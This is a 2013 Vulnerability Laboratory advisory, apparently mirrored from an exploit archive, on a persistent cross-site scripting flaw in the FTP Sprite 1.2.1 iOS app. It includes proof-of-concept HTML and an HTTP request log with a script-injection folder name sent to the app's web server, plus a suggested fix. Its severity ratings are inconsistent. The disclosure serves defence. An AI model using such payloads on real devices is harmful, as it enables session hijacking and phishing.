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exploit-db-mirror/exploits/ios/webapps/26888.txt
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Title:
======
FTP Sprite v1.2.1 iOS - Persistent Web Vulnerability
Date:
=====
2013-07-12
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1007
VL-ID:
=====
1007
Common Vulnerability Scoring System:
====================================
3.7
Introduction:
=============
FTP Sprite can turn your iPhone, ipad, ipod into ftp client, download files from ftp server and upload files into ftp server.
** FTP Action
** Add, modify, delete ftp server
** Download multiple files/folder Supported
** Upload multiple files/folder Supported
** Living progress
** View files online
** Create folder online
** Download and upload history
** Sorting by file name, create date and file size
** Local File Sharing
** USB File Sharing via iTunes
** Http File Sharing via WiFi,Support Safari, chrome, firefox and IE6/7/8/9
** Chrome and Firefox Supported upload multiple files
** Email multiple files/folder Supported
** Open files using other applications
** Local File Manage
** New Folder
** Sorting by file name, create date and file type
** View, copy, move, delete, rename, email, zip Compression and unzip files/folders
** Glide deleting function
** Select all and Cancel all
** Photo import Supported
** Bookmark supported
** File View
** New plain text(default encoding UTF-8),Convert plain file encoding (Unicode,UTF-8 etc) [.txt]
** External file content copy or paste
** Photo View, Zoom [.png .jpg .jpeg .gif .bmp .xbm .tif .tiff etc];
** Document reader [.pdf .rtf .csv .rtfd .doc .docx .xls .xlsx .ppt .pptx (office 2003 or later) etc]
** Video Player [.mp4]
** File Compression and Decompression [.zip .rar]
** Extract files from encryption .rar
** Multi-touch Supported, Zoom files
** Landscape mode supported
** iPad-compatible
(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/ftp-sprite+/id480523641 )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the FTP Sprite 1.2.1 application (Apple iOS - iPad & iPhone).
Report-Timeline:
================
2013-07-12: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
Apple AppStore
Product: FTP Sprite - Application 1.2.1
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
A persistent input validation web vulnerability is detected in the FTP Sprite 1.2.1 application (Apple iOS - iPad & iPhone).
The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of the app.
The vulnerability is located in the index file dir listing module of the web-server (http://localhost:41495) when processing to
display via POST request method injected manipulated `folder names`. The persistent script code will be executed in the main
index file dir listing module when the service lists the new malicious injected foldername as item.
Exploitation of the persistent web vulnerability requires low or medium user interaction without application user account.
Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent
web attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation.
Vulnerable Application(s):
[+] FTP Sprite v1.2.1 - ITunes or AppStore (Apple)
Vulnerable Module(s):
[+] Add Folder
Vulnerable Parameter(s):
[+] foldername
Affected Module(s):
[+] Index Folder Listing
Proof of Concept:
=================
The persistent input validation web vulnerability can be exploited by remote attackers without privilege application user account and
with low user interaction. For demonstration or reproduce ...
PoC: Add Folder - (Name)
<div class="ProgressBar" id="barDiv">
<div id="bar"><span id="barSpan">0%</span></div>
</div>
</form>
</div>
<table id="tableContent" border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th><input id="selecteAll" onclick="selectAll(this)" type="checkbox"></th>
<th>Name</th><th>Size</th><th>Modified Date</th><th><img src="/download.png" style="border:0;vertical-align:middle;"></th>
<th class="del">Delete</th></tr>
</thead>
<tbody id="filelist"><tr><td><input name="chxItem" value="[PERSISTENT INJECTED SCRIPT CODE!]" onclick="selChkItem(this)"
type="checkbox"></td><td><a href="/http%3[PERSISTENT INJECTED SCRIPT CODE!]?guid=E798C174-F7C4-462D-AFC3-12ECC1A36E84&
amp;type=child" class="file"><span style="vertical-align:middle;"><img src="/Folder.png" style="border:0;vertical-align:middle;"></span>
<iframe src="http:</a"></td><td></td><td>2013-07-11 20:14:33</td><td></td><td><input name="commit" type="button"
value="Delete" onclick="DelegateData('/%3Ciframe%20src%3Dhttp%3[PERSISTENT INJECTED SCRIPT CODE!]','E798C174-F7C4-462D-AFC3-12ECC1A36E84');"
class='button' /></form></td></tr></tbody></table></iframe></a></td></tr>
--- Request Session Log ---
Status: 200[OK]
POST http://192.168.2.104:41495/?type=createdir&guid=EFB7891B-84ED-4C48-A404-95960BBB95D0
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Content Size[506] Mime Type[text/plain]
Request Headers:
Host[192.168.2.104:41495]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html, */*; q=0.01]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://192.168.2.104:41495/?guid=EFB7891B-84ED-4C48-A404-95960BBB95D0&type=
child&date=Thu%20Jul%2011%202013%2020:05:48%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:06:
26%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:07:33%20GMT+0200]
Content-Length[87]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
Post Data:
item0[%3Ciframe%20src%3Dhttp%3A%2F%2Fwww.vuln-lab.com%20onload%3Dalert(%22BKM%22)%20%3C]
Response Headers:
Accept-Ranges[bytes]
Content-Length[506]
Content-Type[text/plain]
Date[Thu, 11 Jul 2013 18:14:33 GMT]
20:08:50.658[40ms][total 40ms]
Status: 404[Not Found]
GET http://192.168.2.104:41495/%3C/a
Load Flags[LOAD_DOCUMENT_URI ]
Content Size[0] Mime Type[application/x-unknown-content-type]
Request Headers:
Host[192.168.2.104:41495]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://192.168.2.104:41495/?guid=EFB7891B-84ED-4C48-A404-95960BBB95D0&type=child&date=Thu%20Jul%2011%202013%2020:05:
48%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:06:26%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:07:33%20GMT+0200]
Connection[keep-alive]
Response Headers:
Accept-Ranges[bytes]
Content-Length[0]
Date[Thu, 11 Jul 2013 18:14:34 GMT]
Solution:
=========
To fix the vulnerability parse the add folder name input field and restrict it but also cleanup the affected listing module with the output.
Risk:
=====
The security risk of the persistent input validation web vulnerability is estimated as high(-).
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
Disclaimer:
===========
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